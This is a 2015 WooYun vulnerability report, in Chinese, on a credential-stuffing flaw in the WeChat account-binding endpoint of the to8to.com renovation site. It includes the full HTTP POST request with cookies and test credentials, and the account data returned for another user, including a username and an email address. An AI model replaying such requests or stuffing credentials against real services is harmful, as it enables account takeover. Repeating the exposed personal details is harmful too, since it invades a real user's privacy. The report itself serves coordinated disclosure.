当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0141492
漏洞标题：
土巴兔某处可撞库绑定别人的账号，泄漏用户信息
相关厂商：
土巴兔装修网
漏洞作者：
路人甲
提交时间：
2015-09-16 23:33
修复时间：
2015-11-01 09:18
公开时间：
2015-11-01 09:18
漏洞类型：
设计缺陷/逻辑错误
危害等级：
高
自评Rank：
20
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-09-16： 细节已通知厂商并且等待厂商处理中
2015-09-17： 厂商已经确认，细节仅向厂商公开
2015-09-27： 细节向核心白帽子及相关领域专家公开
2015-10-07： 细节向普通白帽子公开
2015-10-17： 细节向实习白帽子公开
2015-11-01： 细节向公众公开

简要描述：

详细说明：

微信端 土巴兔
抓包如下

POST /ownerCenter/bindCompany/id/ZTQ4Zmx1b3JHSmZ1WWZQU3oyOGE3NjhFa01SVnk3WHlsejk2TkNkcTFOSzZqTnQxZjFQaHBldTFUeDIycVZUMTVEbzBteEV3WEJJY04xRnRQNUk0dVFPdW5QWFEwVDVPcFluYWQxTXVnNGlUaGxiVlJwZw%3D%3D/rand/9941 HTTP/1.1
Host: m.to8to.com
Accept-Language: zh-cn
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H143 MicroMessenger/6.2.4 NetType/WIFI Language/zh_CN
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://m.to8to.com/ownerCenter/bind/type/3?code=031e47f29807f85c7751797337f9d93J&state=hoeven
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Cookie: PHPSESSID=msadan7ieo7jfjne1mvbng7255; Hm_lpvt_dbdd94468cf0ef471455c47f380f58d2=1442367509; Hm_lvt_dbdd94468cf0ef471455c47f380f58d2=1442358516,1442367267; to8to_cook=OkOcClPzRWV8ZFJlCIF4Ag==; to8to_landpage=http%3A//m.to8to.com/ownerCenter/index/%3Fcode%3D021a099ee677577ca53bc3dcc00871cN%26state%3Dhoeven; to8to_landtime=1442358515; to8to_nowpage=http%253A%252F%252Fm.to8to.com%252FownerCenter%252Fbind%252Ftype%252F3%253Fcode%253D031e47f29807f85c7751797337f9d93J%2526state%253Dhoeven; to8to_sourcepage=; to8to_tcode=sz; to8to_tname=%E6%B7%B1%E5%9C%B3; to8to_townid=1130; to8tocookieid=f313e2a500ff0527e5b82f0983fc65aa342656; uid=wKgCulX4pO2hZwqGC2KIAg==
Content-Length: 27
Origin: http://m.to8to.com
Accept-Encoding: gzip, deflate
name=aaa&password=123456


对那么进行撞库
看下图

1.jpg


{"msg":"绑定成功","code":"200","type":1,"cid":"119813","url":"https:\/\/open.weixin.qq.com\/connect\/oauth2\/authorize?appid=wx23b5153a96c64877&redirect_uri=http%3A%2F%2Fm.to8to.com%2FownerCenter%2Findex%2F&response_type=code&scope=snsapi_userinfo&state=hoeven#wechat_redirect"}


然后登陆下 看看

{"version":"2.5","action":"UserDetailAction","errorCode":0,"allRows":0,"data":{"uid":119813,"username":"xuyong","indentity":"0","goodlevel":"0","isactive":"0","nick":"xuyong","regdate":"1273493602","email":"","oldemail":"406050388@qq.com","name_rz":"0","subdomain":"xuyong","credits":"6","cost_credits":"0","mobiles":"","regsource":"1","province":"","city":"","avatar":"","liveid":"2663921","style":[{"typeId":15,"value":"\u73b0\u4ee3"}],"house_type":7,"house_type_name":"\u4e00\u5c45","area":0,"type_id":0,"type_name":"","company_id":"","company_name":"","needupdate":1,"community_id":"","community_name":"","hasname":0,"sign":0,"progress_id":1,"newmessage":0,"projectNum":0,"projectId":0}}

漏洞证明：

可登陆微信端和APP等，我就不截图了

修复方案：

完善机制

版权声明：转载请注明来源 路人甲@乌云

>

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2015-09-17 09:17

厂商回复：

感谢反馈

最新状态：

暂无